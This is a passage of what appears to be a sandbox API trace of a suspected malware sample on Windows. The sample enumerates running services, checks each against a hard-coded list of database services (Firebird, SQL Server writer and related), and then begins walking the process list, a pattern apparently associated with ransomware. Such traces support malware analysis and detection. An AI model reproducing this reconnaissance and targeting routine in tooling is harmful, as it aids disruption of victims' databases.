	[0167.889] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0167.889] GetLastError () returned 0xea
	[0167.889] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0167.890] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0167.891] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0167.891] lstrlenW (lpString="Appinfo") returned 7
	[0167.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0167.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0167.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0167.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0167.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0167.891] lstrlenW (lpString="AppXSvc") returned 7
	[0167.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.891] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0167.891] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0167.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0167.891] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0167.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.891] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0167.891] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0167.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0167.891] lstrlenW (lpString="Audiosrv") returned 8
	[0167.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0167.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0167.892] lstrlenW (lpString="BFE") returned 3
	[0167.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0167.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0167.892] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0167.892] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0167.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0167.892] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0167.892] lstrlenW (lpString="CDPSvc") returned 6
	[0167.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0167.892] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0167.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0167.892] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0167.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0167.892] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0167.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0167.892] lstrlenW (lpString="CryptSvc") returned 8
	[0167.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0167.893] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0167.893] lstrlenW (lpString="DcomLaunch") returned 10
	[0167.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0167.893] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0167.893] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0167.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0167.893] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0167.893] lstrlenW (lpString="Dhcp") returned 4
	[0167.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0167.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0167.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0167.893] lstrlenW (lpString="Dnscache") returned 8
	[0167.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0167.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0167.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0167.893] lstrlenW (lpString="DPS") returned 3
	[0167.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0167.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0167.893] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0167.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0167.894] lstrlenW (lpString="DusmSvc") returned 7
	[0167.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0167.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0167.894] lstrlenW (lpString="EventLog") returned 8
	[0167.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0167.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0167.894] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0167.894] lstrlenW (lpString="EventSystem") returned 11
	[0167.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0167.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0167.894] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0167.894] lstrlenW (lpString="FontCache") returned 9
	[0167.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0167.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0167.894] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0167.894] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0167.894] lstrlenW (lpString="gpsvc") returned 5
	[0167.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0167.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0167.894] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0167.894] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0167.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0167.894] lstrlenW (lpString="iphlpsvc") returned 8
	[0167.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.894] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0167.895] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0167.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0167.895] lstrlenW (lpString="KeyIso") returned 6
	[0167.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0167.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0167.895] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0167.895] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0167.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0167.895] lstrlenW (lpString="LanmanServer") returned 12
	[0167.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.895] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0167.895] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0167.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0167.895] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0167.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.895] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0167.895] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0167.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0167.895] lstrlenW (lpString="lfsvc") returned 5
	[0167.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0167.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0167.895] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0167.895] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0167.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0167.895] lstrlenW (lpString="lmhosts") returned 7
	[0167.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0167.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0167.895] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0167.895] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0167.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0167.895] lstrlenW (lpString="LSM") returned 3
	[0167.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0167.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0167.896] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0167.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0167.896] lstrlenW (lpString="MpsSvc") returned 6
	[0167.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0167.896] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0167.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0167.896] lstrlenW (lpString="NcbService") returned 10
	[0167.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0167.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0167.896] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0167.896] lstrlenW (lpString="netprofm") returned 8
	[0167.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0167.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0167.896] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0167.896] lstrlenW (lpString="NgcSvc") returned 6
	[0167.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0167.896] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0167.896] lstrlenW (lpString="NlaSvc") returned 6
	[0167.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.896] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0167.896] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0167.897] lstrlenW (lpString="nsi") returned 3
	[0167.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0167.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0167.897] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0167.897] lstrlenW (lpString="PcaSvc") returned 6
	[0167.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0167.897] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0167.897] lstrlenW (lpString="PlugPlay") returned 8
	[0167.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0167.897] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0167.897] lstrlenW (lpString="Power") returned 5
	[0167.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0167.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0167.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0167.897] lstrlenW (lpString="ProfSvc") returned 7
	[0167.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0167.897] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0167.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0167.897] lstrlenW (lpString="RpcEptMapper") returned 12
	[0167.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0167.898] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0167.898] lstrlenW (lpString="RpcSs") returned 5
	[0167.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0167.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0167.898] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0167.898] lstrlenW (lpString="SamSs") returned 5
	[0167.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0167.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0167.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0167.898] lstrlenW (lpString="Schedule") returned 8
	[0167.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0167.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0167.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0167.898] lstrlenW (lpString="SecurityHealthService") returned 21
	[0167.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0167.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0167.898] lstrlenW (lpString="SENS") returned 4
	[0167.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0167.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0167.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0167.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0167.899] lstrlenW (lpString="ShellHWDetection") returned 16
	[0167.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0167.899] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0167.899] lstrlenW (lpString="Spooler") returned 7
	[0167.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0167.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0167.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0167.899] lstrlenW (lpString="StateRepository") returned 15
	[0167.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0167.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0167.899] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0167.899] lstrlenW (lpString="SysMain") returned 7
	[0167.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0167.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0167.899] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0167.899] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0167.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0167.899] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0167.899] lstrlenW (lpString="Themes") returned 6
	[0167.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0167.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0167.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0167.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0167.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0167.900] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0167.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.900] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0167.900] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0167.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0167.900] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540
	[0168.202] Process32FirstW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0168.202] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0168.203] lstrlenW (lpString="System") returned 6
	[0168.203] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0168.203] lstrlenW (lpString="smss.exe") returned 8
